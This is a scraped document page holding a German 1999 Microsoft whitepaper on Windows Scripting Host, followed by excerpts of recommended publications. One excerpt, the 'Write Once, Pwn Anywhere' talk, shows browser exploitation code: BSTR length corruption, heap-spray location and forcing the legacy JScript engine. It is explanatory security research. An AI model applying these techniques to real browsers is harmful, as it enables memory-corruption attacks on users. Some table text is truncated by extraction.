Windows Scripting Host: Ein Universeller Scriptinghost Für Skriptsprachen

Total Page:16

File Type:pdf, Size:1020Kb

Windows Scripting Host: Ein Universeller Scriptinghost Für Skriptsprachen Windows Scripting Host: Ein universeller Scriptinghost für Skriptsprachen Whitepaper Einführung Windows Scripting Host (WSH) ist ein sprachunabhängiger Skriptinghost für 32-Bit- Plattformen mit dem Betriebssystem Microsoft® Windows® . Microsoft stellt mit WSH Skriptmodule für Visual Basic® Script und Java Script zur Verfügung. Microsoft geht davon aus, dass andere Softwarehersteller ActiveX™-Skriptmodule für andere Sprachen wie Perl, TCL, REXX und Python bereitstellen werden. WSH kann entweder über den Windows-basierten Host (Wscript.exe) oder über den befehlsshellbasierten Host (Cscript.exe) ausgeführt werden. In diesem Dokument werden folgende Themen beschrieben: Einsatzmöglichkeiten von WSH Installation von WSH Verwendung von WSH Windows Scripting Host ist integriert in Windows 98, Internet Information Server 4.0, Windows 2000 Server und Windows 2000 Professional. Es ist ebenfalls für das Betriebssystem Windows 95 verfügbar. Vorzüge von Windows Scripting Host Windows Scripting Host (WSH ) stellt einfaches, leistungsstarkes und flexibles Skripting für die 32-Bit-Windows-Plattform zur Verfügung. Zuvor war die Befehlssprache von MS-DOS® die einzige vom Betriebssystem Windows unterstützte Skriptsprache. MS-DOS ist zwar klein und schnell, bietet jedoch im Vergleich zu Visual Basic Script und Java Script nur eingeschränkte Funktionen. Heute ermöglicht die ActiveX-Skriptarchitektur die Nutzung leistungsstarker Skriptsprachen, wie z. B. Visual Basic Script und Java Script, während MS-DOS-Befehlsskripts weiterhin unterstützt werden. Die ActiveX-Skriptarchitektur ermöglicht leistungsstarkes Skripting mithilfe von Sprachen, wie z. B. VB Script, Java Script und Perl. Microsoft stellt zurzeit drei Hosts zur Ausführung dieser Skriptsprachen auf der Windows-Plattform bereit: Microsoft Internet Explorer Internet Information Server (IIS) Windows Scripting Host (WSH) Internet Explorer ermöglicht die Ausführung von Skripts auf Clientcomputern aus HTML- Seiten heraus. Internet Information Server unterstützt jetzt Active Server Pages, wodurch Skripts auf Webservern ausgeführt werden können; mit anderen Worten, es ermöglicht serverseitiges Skripting über das Internet oder ein Intranet. Windows Scripting Host ermöglicht die Ausführung von Skripts direkt auf dem Windows- Desktop oder der Befehlskonsole, ohne dass die Skripts in ein HTML-Dokument eingebettet werden müssen. Skripts können direkt vom Desktop durch Klicken auf eine Skriptdatei oder von der Befehlskonsole ausgeführt werden. WSH bietet einen Skriptinghost mit geringem Speicherbedarf, der optimal für nicht interaktive Skriptanwendungen wie Anmeldeskripts, Verwaltungsskripts usw. geeignet ist. Installation von Windows Scripting Host Sie müssen Microsoft Internet Explorer, Version 3.0 oder höher, installieren, um Windows Scripting Host zu verwenden. WSH beruht auf den Skriptmodulen Visual Basic Script und Java Script, die mit Internet Explorer 3.0 oder höher bereitgestellt werden. WSH wird als Teil von Windows 98, Windows 2000 und Internet Information Server 4.0 installiert. Für Windows 95 steht ein spezielles Setup-Programm zur Verfügung. Wenn Sie WSH auf einem Windows 95-basierten System verwenden möchten, muss Microsoft Internet Explorer, Version 3.0 oder höher, installiert sein. Sollte Ihnen Internet Explorer 3.0 oder höher nicht zur Verfügung stehen, besuchen Sie die Microsoft IE- Webseite unter http://www.microsoft.com/windows/ie/ (englischsprachig). Downloaden Sie das WSH-Setup-Programm von der Microsoft-Downloadsite unter http://www.microsoft.com/msdownload/vbscript/scripting.asp (englischsprachig) Ausführen von Skripts mithilfe des befehlsbasierten Skriptinghosts Cscript.exe hat folgende Syntax: cscript.exe [Skriptname] [Optionen] [Argumente] Optionen aktivieren oder deaktivieren verschiedene WSH-Optionen. Den Optionen werden immer zwei Schrägstriche (//) vorangestellt. Skriptname ist der Name der Skriptdatei, z. B. CHART.VBS. Argumente werden an das Skript übergeben. Den Argumenten wird immer ein Schrägstrich (/) vorangestellt. Alle Parameter sind optional, können jedoch nicht ohne Angabe eines Skripts angegeben werden. Wenn Sie keine Parameter angeben, zeigt script.exe die Syntax des Befehls und die gültigen Optionen an. Cscript.exe unterstützt folgende Optionen: Option Beschreibung Registriert Skripterweiterungen (VBS, JS, TCL) erneut durch Suchen nach re //R Skriptmodulen. Anmerkung Sie müssen keinen Skriptdateinamen angeben, wenn Sie die O //I Interaktiver Modus (Standardeinstellung, Gegenteil von //B) Batchmodus. Unterdrückt alle vom Skript angeforderten, nicht an der Befehl //B ausgeführten Benutzeraktionen. Timeout in Sekunden. Maximale Dauer der Skriptausführung (Standardeinst Die Option wird zur Verhinderung von Skripts verwendet, die übermäßig vie nehmen; sie legt einen Zeitgeber fest. Wenn die Ausführungszeit den angeg überschreitet, unterbricht cscript.exe das Skriptmodul mithilfe der Methode //T:nn IActiveScript::InterruptThread und beendet den Prozess. Anmerkung Es gibt einen Callback Hook. Falls das Timeout ausgelöst wird, OnTimeOut aufgerufen, um Aufräumarbeiten zu ermöglichen. Trotz der Mö zu erzeugen, bringt die Verwendung dieser Funktion mehr Nutzen als Schad Zeigt zur Ausführungszeit einen Ausführungsvorspann an (Standardeinstellu //logo //nologo). //nologo Verhindert die Anzeige des Ausführungsvorspann zur Ausführungszeit. //C Macht cscript.exe zur Standardanwendung für das Ausführen von Skripts. //S Speichert aktuelle Befehlszeilenoptionen für diesen Benutzer (benutzerspezi //? Zeigt die Befehlssyntax (entspricht dem Aufruf ohne Parameter). Bei der Installation von WSH werden mehrere Beispielskripts installiert. Die Beispielskripts befinden sich im Ordner %windir%\WSamples (wobei %windir% Ihren Windows 95- oder Windows 2000-Ordner bezeichnet). So führen Sie "Chart.vbs" aus 1. Wechseln Sie zur Eingabeaufforderung von Windows 2000 oder Windows 95. 2. Führen Sie die folgenden Befehle aus: cscript //logo %windir%\wsamples\chart.vbs cscript //nologo %windir%\wsamples\chart.vbs Ausführen von Skripts mithilfe des Windows- basierten Skriptinghosts Es gibt drei Möglichkeiten, Skripts mithilfe von WSH unter Windows auszuführen. Sie können eine der folgenden Methoden verwenden: Doppelklicken auf Dateien und Symbole in Arbeitsplatz, im Explorer oder im Fenster Suchergebnisse. Verwenden des Windows-Befehls Ausführen. Ausführen von Wscript.exe. Wenn Sie Skripts mithilfe von Wscript.exe ausführen, können Sie auf der Seite Windows Script Host-Einstellungen das Kontrollkästchen Always Use the Windows Scripting Host to open this file aktivieren und Eigenschaften festlegen. Wenn beim Ausführen eines Skripts das Kontrollkästchen Always Use the Windows Scripting Host to open this file aktiviert ist, wird Wscript.exe als Standardanwendung zum Ausführen von Dateien registriert, die die gleiche Erweiterung wie das ausgeführte Skript aufweisen. Wenn Sie das Kontrollkästchen beispielsweise beim Ausführen von Chart.vbs aktivieren, wird Wscript.exe zur Standardanwendung für alle Dateien mit der Erweiterung VBS. Dieses Kontrollkästchen hat dieselbe Funktionsweise wie die Option //C von cscript.exe. Auf der Seite Windows Script Host-Einstellungen stehen folgende Optionen zur Verfügung: Eigenschaft Zweck CS Registriert die bekannten Skripterweiterungen (VBS, JS, Register common script extensions TCL) erneut durch Suchen nach bekannten registrierten //R Skriptmodulen. Gibt die Anzahl von Sekunden an, die eine Skript nach der folgenden Anzahl Skriptausführung maximal dauern darf. //T von Sekunden anhalten (Standardeinstellung: kein Limit.) Unterdrückt bzw. aktiviert alle vom Skript angeforderten, nicht an der Befehlszeilenkonsole ausgeführten By default, run scripts in the Benutzeraktionen. //I following mode: Interactive/Batch Im interaktiven Modus sind nicht an der Befehlzeilenkonsole ausgeführte Benutzeraktionen zulässig, im Batchmodus jedoch nicht. Übersicht über die WSH-Architektur Windows Scripting Host dient ebenso wie Microsoft Internet Explorer als Controller für ActiveX-Skriptmodule. Da der Skriptinghost keinen vollständigen Internetbrowser darstellt, sind seine Speicheranforderungen geringer als die von Microsoft Internet Explorer. Somit eignet sich WSH besonders für einfache, schnelle Aufgaben. Der Skriptinghost liest die angegebene Skriptdatei und übergibt ihren Inhalt mithilfe der vom Skriptmodul bereitgestellten Methode IActiveScriptParse::ParseScriptText an das registrierte Skriptmodul. Das Skriptmodul verwendet nicht das (in HTML verwendete) SCRIPT-Tag, sondern richtet sich nach der Dateierweiterung. Daher müssen dem Skriptersteller nicht die genauen Programmkennungen der verschiedenen Skriptmodule bekannt sein. Der Skriptinghost verwaltet eine Zuordnung von Skripterweiterungen zu Programmkennungen und verwendet das Zuordnungsmodell von Windows, um das entsprechende Modul zu starten. Weitere Informationen Aktuelle Informationen zu Windows 2000 Server finden Sie bei Microsoft TechNet. Oder besuchen Sie die Website unter http://www.microsoft.com/windows/server (englischsprachig) bzw. das Windows 2000 Server Forum im Microsoft Network (Suchbegriff: MSNTS). Aktuelle Informationen zur Windows-Skriptingtechnologie finden Sie im Microsoft Developer Network unter http://msdn.microsoft.com (englischsprachig). © 1999 Microsoft Corporation. Alle Rechte vorbehalten. Die in diesem Dokument enthaltenen Informationen stellen die behandelten Themen aus der Sicht der Microsoft Corporation zum Zeitpunkt der Veröffentlichung dar. Da Microsoft auf sich ändernde Marktanforderungen reagieren muss, stellt dies keine Verpflichtung seitens Microsoft dar, und Microsoft kann die Richtigkeit der hier dargelegten Informationen nach dem Zeitpunkt der Veröffentlichung nicht garantieren. Dieses Dokument dient nur zu Informationszwecken. MICROSOFT SCHLIESST FÜR DIESES DOKUMENT JEDE GEWÄHRLEISTUNG AUS, SEI SIE AUSDRÜCKLICH ODER KONKLUDENT. Das BackOffice-Logo, ActiveX, Visual Basic, Microsoft, Windows und Windows NT sind eingetragene Marken oder Marken der Microsoft Corporation. Weitere in diesem Dokument aufgeführte Produkt- oder Firmennamen können geschützte Marken ihrer jeweiligen Inhaber sein. Microsoft Corporation • One Microsoft Way • Redmond, WA 98052-6399 • USA 0499 .
Recommended publications
  • Interaction Between Web Browsers and Script Engines
    IT 12 058 Examensarbete 45 hp November 2012 Interaction between web browsers and script engines Xiaoyu Zhuang Institutionen för informationsteknologi Department of Information Technology Abstract Interaction between web browser and the script engine Xiaoyu Zhuang Teknisk- naturvetenskaplig fakultet UTH-enheten Web browser plays an important part of internet experience and JavaScript is the most popular programming language as a client side script to build an active and Besöksadress: advance end user experience. The script engine which executes JavaScript needs to Ångströmlaboratoriet Lägerhyddsvägen 1 interact with web browser to get access to its DOM elements and other host objects. Hus 4, Plan 0 Browser from host side needs to initialize the script engine and dispatch script source code to the engine side. Postadress: This thesis studies the interaction between the script engine and its host browser. Box 536 751 21 Uppsala The shell where the engine address to make calls towards outside is called hosting layer. This report mainly discussed what operations could appear in this layer and Telefon: designed testing cases to validate if the browser is robust and reliable regarding 018 – 471 30 03 hosting operations. Telefax: 018 – 471 30 00 Hemsida: http://www.teknat.uu.se/student Handledare: Elena Boris Ämnesgranskare: Justin Pearson Examinator: Lisa Kaati IT 12 058 Tryckt av: Reprocentralen ITC Contents 1. Introduction................................................................................................................................
    [Show full text]
  • Adobe Introduction to Scripting
    ADOBE® INTRODUCTION TO SCRIPTING © Copyright 2007 Adobe Systems Incorporated. All rights reserved. Adobe® Introduction to Scripting NOTICE: All information contained herein is the property of Adobe Systems Incorporated. No part of this publication (whether in hardcopy or electronic form) may be reproduced or transmitted, in any form or by any means, electronic, mechanical, photocopying, recording, or otherwise, without the prior written consent of Adobe Systems Incorporated. The software described in this document is furnished under license and may only be used or copied in accordance with the terms of such license. This publication and the information herein is furnished AS IS, is subject to change without notice, and should not be construed as a commitment by Adobe Systems Incorporated. Adobe Systems Incorporated assumes no responsibility or liability for any errors or inaccuracies, makes no warranty of any kind (express, implied, or statutory) with respect to this publication, and expressly disclaims any and all warranties of merchantability, fitness for particular purposes, and non-infringement of third-party rights. Any references to company names in sample templates are for demonstration purposes only and are not intended to refer to any actual organization. Adobe®, the Adobe logo, Illustrator®, InDesign®, and Photoshop® are either registered trademarks or trademarks of Adobe Systems Incorporated in the United States and/or other countries. Apple®, Mac OS®, and Macintosh® are trademarks of Apple Computer, Inc., registered in the United States and other countries. Microsoft®, and Windows® are either registered trademarks or trademarks of Microsoft Corporation in the United States and other countries. JavaScriptTM and all Java-related marks are trademarks or registered trademarks of Sun Microsystems, Inc.
    [Show full text]
  • Scala Infochannel Player Setup Guide
    SETUP GUIDE P/N: D40E04-01 Copyright © 1993-2002 Scala, Inc. All rights reserved. No part of this publication, nor any parts of this package, may be copied or distributed, transmitted, transcribed, recorded, photocopied, stored in a retrieval system, or translated into any human or computer language, in any form or by any means, electronic, mechanical, magnetic, manual, or otherwise, or disclosed to third parties without the prior written permission of Scala Incorporated. TRADEMARKS Scala, the exclamation point logo, and InfoChannel are registered trademarks of Scala, Inc. All other trademarks or registered trademarks are the sole property of their respective companies. The following are trademarks or registered trademarks of the companies listed, in the United States and other countries: Microsoft, MS-DOS, Windows, Windows 95, Windows 98, Windows NT, Windows 2000, Windows XP, DirectX, DirectDraw, DirectSound, ActiveX, ActiveMovie, Internet Explorer, Outlook Express: Microsoft Corporation IBM, IBM-PC: International Business Machines Corporation Intel, Pentium, Indeo: Intel Corporation Adobe, the Adobe logo, Adobe Type Manager, Acrobat, ATM, PostScript: Adobe Systems Incorporated TrueType, QuickTime, Macintosh: Apple Computer, Incorporated Agfa: Agfa-Gevaert AG, Agfa Division, Bayer Corporation “Segoe” is a trademark of Agfa Monotype Corporation. “Flash” and “Folio” are trademarks of Bauer Types S.A. Some parts are derived from the RSA Data Security, Inc. MD5 Message-Digest Algorithm. JPEG file handling is based in part on the work of the Independent JPEG Group. Lexsaurus Speller Technology Copyright © 1992, 1997 by Lexsaurus Software Inc. All rights reserved. TIFF-LZW and/or GIF-LZW: Licensed under Unisys Corporation US Patent No. 4,558,302; End-User use restricted to use on only a single personal computer or workstation which is not used as a server.
    [Show full text]
  • What Is Activex: What Does Activex Do? Benefits of Activex
    Khalil Rehman December 2, 2003 What is ActiveX: Microsoft® ActiveX™ is a set of technologies from Microsoft that enables interactive content for the World Wide Web. With ActiveX, Web sites come alive with multimedia effects, interactive objects, and sophisticated applications that create a user experience comparable to that of high-quality CD-ROM titles. ActiveX provides the glue that ties together a wide assortment of technology building blocks to enable these "active" Web sites. (Microsoft Corporation, July 1996) What does ActiveX do? It is designed to increase the dynamic designs of a website. The controls are components that can easily be inserted into a Web page or other application to reuse packaged functionality someone else has programmed. Benefits of ActiveX Some benefits of ActiveX are, • Active web content which attracts the user and retain their interest in the web pages. • Open cross platform support on Macintosh, Windows and Unix operating systems • The tools in which programmer wants to build ActiveX controls are very common and familiar like Visual Basic, Visual C++®, Borland Delphi, Borland C++, Java™, and Java-enabled tools • Existing inventory of ActiveX controls available today for immediate use by Web producers ActiveX VS Java ActiveX is a Microsoft platform dependent and works on window based machine and only work in the internet explorer browser. Once ActiveX controls install and run on the machine it doesn’t need to install and run again, saving the download time after first use. Java has been developed to work on any kind of machine and operating system and do not need of any kind of plug-in.
    [Show full text]
  • Activex Controls and Plugins
    ePM Desktop Requirements Checklist Summary Hardware Intel® Pentium® III 933 MHz or higher (Recommended) Minimum Intel® Pentium® II 300 MHz 512 MB RAM or higher High Speed Internet Connection (Recommend 1 Mbps or greater) 1 GB Storage Desktop Software Microsoft Windows® XP Service Pack 2 Microsoft® Internet Explorer 6.01 or Microsoft® Internet Explorer 7.0 Acrobat Reader Project Document Manager Client Data Dynamics Active Reports Viewer Sun Java 2 Runtime (1.4.2) Microsoft .NET Framework Version 1.1 Redistributable Package Microsoft .NET Framework 3.5 Service Pack 1 Microsoft® Office 2003 or Office 2007 Professional Edition Microsoft Office 2003 / or 2007 Redistributable Primary Interop Assemblies Redistributable Primary Interop Assemblies* Microsoft Web Services Enhancements 2.0 Service Pack 3* Visual Studio 2005 Tools for Office Second Addition Runtime (VSTOR)* Required if using the ePM Office Business Applications or Desktop Quick Applications Administrative Rights Note: you must have administrative rights to your desk top computer or be able to perform the following: Open the following registries o HKEY_CLASSES_ROOT\PDM o HKEY_CLASSES_ROOT\LMC Desktop Requirements Page 1 ePM Desktop Requirements Internet Explorer Settings The following settings are required in Internet Explorer. The instructions below assume IE 7. If you are using another version of IE or another browser, please set accordingly. ePM set in trusted sites zone 1. In Internet Explorer, choose Tools > Internet Options. The Internet Options dialog box appears. 2. Click the Security tab. 3. Select Trusted Sites > Sites. The Trusted Sites dialog box appears. 4. Under Add this Web site to the zone, type https://epm.pbs.gsa.gov 5.
    [Show full text]
  • How to Change Your Browser Preferences So It Uses Acrobat Or Reader PDF Viewer
    How to change your browser preferences so it uses Acrobat or Reader PDF viewer. If you are unable to open the PDF version of the Emergency Action Plan, please use the instructions below to configure your settings for Firefox, Google Chrome, Apple Safari, Internet Explorer, and Microsoft Edge. Firefox on Windows 1. Choose Tools > Add-ons. 2. In the Add-ons Manager window, click the Plugins tab, then select Adobe Acrobat or Adobe Reader. 3. Choose an appropriate option in the drop-down list next to the name of the plug-in. 4. Always Activate sets the plug-in to open PDFs in the browser. 5. Ask to Activate prompts you to turn on the plug-in while opening PDFs in the browser. 6. Never Activate turns off the plug-in so it does not open PDFs in the browser. Select the Acrobat or Reader plugin in the Add-ons Manager. Firefox on Mac OS 1. Select Firefox. 2. Choose Preferences > Applications. 3. Select a relevant content type from the Content Type column. 4. Associate the content type with the application to open the PDF. For example, to use the Acrobat plug-in within the browser, choose Use Adobe Acrobat NPAPI Plug-in. Reviewed 2018 How to change your browser preferences so it uses Acrobat or Reader PDF viewer. Chrome 1. Open Chrome and select the three dots near the address bar 2. Click on Settings 3. Expand the Advanced settings menu at the bottom of the page 4. Under the Privacy and security, click on Content Settings 5. Find PDF documents and click on the arrow to expand the menu 6.
    [Show full text]
  • Using the Component Object Model Interface
    MQSeries for Windows NT V5R1 IBM Using the Component Object Model Interface SC34-5387-01 MQSeries for Windows NT V5R1 IBM Using the Component Object Model Interface SC34-5387-01 Note! Before using this information and the product it supports, be sure to read the general information under Appendix B, “Notices” on page 151. Second edition (April 1999) This edition applies to MQSeries for Windows NT V5.1 and to any subsequent releases and modifications until otherwise indicated in new editions. Copyright International Business Machines Corporation 1997,1999. All rights reserved. US Government Users Restricted Rights – Use, duplication or disclosure restricted by GSA ADP Schedule Contract with IBM Corp. Contents Contents About this book ..................................... v Who this book is for ................................... v MQSeries publications . vi MQSeries cross-platform publications ....................... vi MQSeries platform-specific publications ...................... ix MQSeries Level 1 product publications ....................... x Softcopy books . x MQSeries information available on the Internet .................. xii Where to find more information about ActiveX ................... xii Summary of changes ................................. xiii Changes for this edition ................................ xiii Chapter 1. Introduction . 1 MQSeries Automation Classes for ActiveX overview ................ 1 Chapter 2. Designing and programming using MQSeries Automation Classes for ActiveX .................................. 3 Designing
    [Show full text]
  • How to Check Your Browser Version on a PC
    How to Check Your Browser Version on a PC Google Chrome (PC) 1) Click on the Menu Icon ( ) in the upper right corner of your browser window. 2) Click on Settings 3) Click on the About tab on the left-hand side of the page. 4) If you are not running the most recent version of Chrome available for your Operating System, you will be prompted to update Chrome. For your security, we recommend that you install all Security, App and Operating System updates as they become available. Mozilla Firefox (PC) 1) Click on the Help menu at the top of your browser window. 2) Click on About Firefox at the bottom of the menu. 3) A small window will pop up showing your Firefox version number, and will tell you whether you are on the most recent version, or not. For your security, we recommend that you install all Security, App and Operating System updates as they become available. Internet Explorer (PC) 1) Click on the Gear Icon at the top of your browser window. 2) Click on the About Internet Explorer option. 3) A window will pop up showing you your Internet Explorer version. 4) If you are using Internet Explorer 9 or 10, you will need to make sure that you have TLS 1.2 enabled by: A) Clicking on the Gear Icon again. B) Click on Internet Options. C) Click on the Advanced Tab and scroll down to the option titled “Use TLS 1.2”. (This should be found at the bottome of the list of options.) The box next to this should be checked.
    [Show full text]
  • Write Once, Pwn Anywhere
    Write Once, Pwn Anywhere Yang Yu Twitter: @tombkeeper Agenda • Summon BSTR back • JScript 9 mojo • “Vital Point Strike” • “Interdimensional Execution” Who am I? • From Beijing, China • Director of Xuanwu Security Lab at Tencent – We're hiring • Researcher from 2002, geek from birth – Strong focus on exploiting and detection • Before 2002, I am a… Before 2002 Now Summon BSTR back About BSTR JScript 5.8 and earlier use BSTR to store String object data struct BSTR { LONG length; WCHAR* str; } var str = “AAAAAAAA”; 0:016> dc 120d0020 l 8 120d0020 00000010 00410041 00410041 00410041 ....A.A.A.A.A.A. 120d0030 00410041 00000000 00000000 00000000 A.A............. Corrupt BSTR prefix var str = “AAAAAAAA”; 0:016> dc 120d0020 l 4 120d0020 00000010 00410041 00410041 00410041 ....A.A.A.A.A.A. writeByVul(0x120d0020, 0x7ffffff0); 0:016> dc 120d0020 l 4 120d0020 7ffffff0 00410041 00410041 00410041 ....A.A.A.A.A.A. var outofbounds = str.substr(0x22222200,4); * Peter Vreugdenhil, “Pwn2Own 2010 Windows 7 Internet Explorer 8 exploit” Locate the address of BSTR prefix var strArr = heapSpray("\u0000"); var sprayedAddr = 0x14141414; writeByVul(sprayedAddr); for (i = 0; i < strArr.length; i++) { p = strArr[i].search(/[^\u0000]/); if (p != -1) { modified = i; leverageStr = strArr[modified]; bstrPrefixAddr = sprayedAddr - (p)*2 - 4; break; } } * Fermin J. Serna, “The info leak era on software exploitation” JScript 9 replaced JScript 5.8 since IE 9 JScript 9 does not use BSTR now So exploiters switch to flash vector object But, JScript 5.8 is still there We can summon it back The spell to summon JScript 5.8 back <META http-equiv = "X-UA-Compatible" content = "IE=EmulateIE8"/> <Script Language = "JScript.Encode"> … </Script> or <META http-equiv = "X-UA-Compatible" content = "IE=EmulateIE8"/> <Script Language = "JScript.Compact"> … </Script> * Some features are not supported with JScript.Compact, like eval().
    [Show full text]
  • SAEAUT SNMP OPC Server Supports Jscript (PDF)
    SAEAUT SNMP OPC Server supports JScript (Windows SAE – Automation, s.r.o. Nová Dubnica Solid And Effective partner at development Scripting) of your products and industry automation SAEAUT SNMP OPC Server support Windows Scripting - JScript. The purpose of the article is to introduce and give useful recommendations how to use the SAEAUT SNMP OPC Server for processing of SNMP data utilizing standard Windows Scripting - JScript. Introduction In typical SNMP usage, there are a number of systems to be managed, and one or more systems managing them (see below in the Figure 1). A software component called an agent runs on each managed system and reports information via SNMP to the managing systems. Data contained in the agent database depends on the specific function of the devices. Description of these data is made via standard called MIB (Management Information Bases). The company SAE–Automation, Ltd. has brought on the market very powerful management system called SAEAUT SNMP OPC Server and popularity of this management system is each day increasing. Management System Managed Element s e SNMP manager P SNMP agent SNMP manager g SNMP agent a Human M s N Network s S Manager e M Management Management Managed Objects database s database e P g a A s R s T e M Figure 1: The SNMP communication between SNMP manger and SNMP agents. 1 http://www.saeautom.sk, [email protected], tell.:+421-(0)42-445 07 01, fax: +421-(0)42-445 07 02, Address: Trenčiianská 19, 018 51 Nová Dubniica, Sllovakiia Finally, this document should perform as a user guide which will introduce the basic SNMP terms (manager, agent, MIB, Trap, etc.) and show you step-by-step, how to use the SAEAUT SNMP OPC Server which acts as SNMP manager for processing of SNMP data utilizing standard Windows Scripting - JScript.
    [Show full text]
  • Case Study: Internet Explorer 1994..1997
    Case Study: Internet Explorer 1994..1997 Ben Slivka General Manager Windows UI [email protected] Internet Explorer Chronology 8/94 IE effort begins 12/94 License Spyglass Mosaic source code 7/95 IE 1.0 ships as Windows 95 feature 11/95 IE 2.0 ships 3/96 MS Professional Developer’s Conference AOL deal, Java license announced 8/96 IE 3.0 ships, wins all but PC Mag review 9/97 IE 4.0 ships, wins all the reviews IE Feature Chronology IE 1.0 (7/14/95) IE 2.0 (11/17/95) HTML 2.0 HTML Tables, other NS enhancements HTML <font face=> Cell background colors & images Progressive Rendering HTTP cookies (arthurbi) Windows Integration SSL Start.Run HTML (MS enhancements) Internet Shortcuts <marquee> Password Caching background sounds Auto Connect, in-line AVIs Disconnect Active VRML 1.0 Navigator parity MS innovation Feature Chronology - continued IE 3.0 (8/12/96) IE 3.0 - continued... IE 4.0 (9/12/97) Java Accessibility Dynamic HTML (W3C) HTML Frames PICS (W3C) Data Binding Floating frames HTML CSS (W3C) 2D positioning Componentized HTML <object> (W3C) Java JDK 1.1 ActiveX Scripting ActiveX Controls Explorer Bars JavaScript Code Download Active Setup VBScript Code Signing Active Channels MSHTML, SHDOCVW IEAK (corporations) CDF (XML) WININET, URLMON Internet Setup Wizard Security Zones DocObj hosting Referral Server Windows Integration Single Explorer ActiveDesktop™ Navigator parity MS innovation Quick Launch, … Wins for IE • Quality • CoolBar, Explorer Bars • Componetization • Great Mail/News Client • ActiveX Controls – Outlook Express – vs. Nav plug-ins
    [Show full text]
  • Internet Explorer Users Are Required to Add the Portal URL to Trusted Sites
    CLA Client Portal Browser and Silverlight FAQs 1. Question: I am receiving an “Error 500” when clicking the link to access the CLA Document Portal. Resolution: Verify with your IT department that the portal is not blocked by any internal monitoring or protection applications. 2. Question: How do I know if my computer has Microsoft Silverlight Installed? Resolution: The first time you try and login to the portal you will be prompted to install Silverlight from Microsoft’s website if you don’t have it already installed. The installation typically takes less than one minute and is completely safe. http://www.microsoft.com/getsilverlight/Get-Started/Install/Default.aspx If you cannot, or prefer not to, install Silverlight on your machine, a simplified version of the document portal that does not require Silverlight is available. Click on the Take me to the non- Silverlight login on the CLA Document Portal page (www.claconnect.com/docportal). 3. Question: I cannot access the CLA Document Portal. (Server error/Page not found) Resolution: Check that you are using a Microsoft Silverlight 4 compatible browser on all PC’s or MAC. A complete list of browsers and operating systems that support Silverlight 4 can be found at http://www.microsoft.com/getsilverlight/locale/en-us/html/installation-win-SL4.html Please note: Internet Explorer users are required to add the portal URL to Trusted Sites. Adding to Trusted Sites Internet Explorer settings 1. Open Internet Explorer and browse to https://portal.cchaxcess.com/Portal/. 2. In Internet Explorer, select Tools / Internet Options; then select the Security tab and click Trusted Sites and then Sites.
    [Show full text]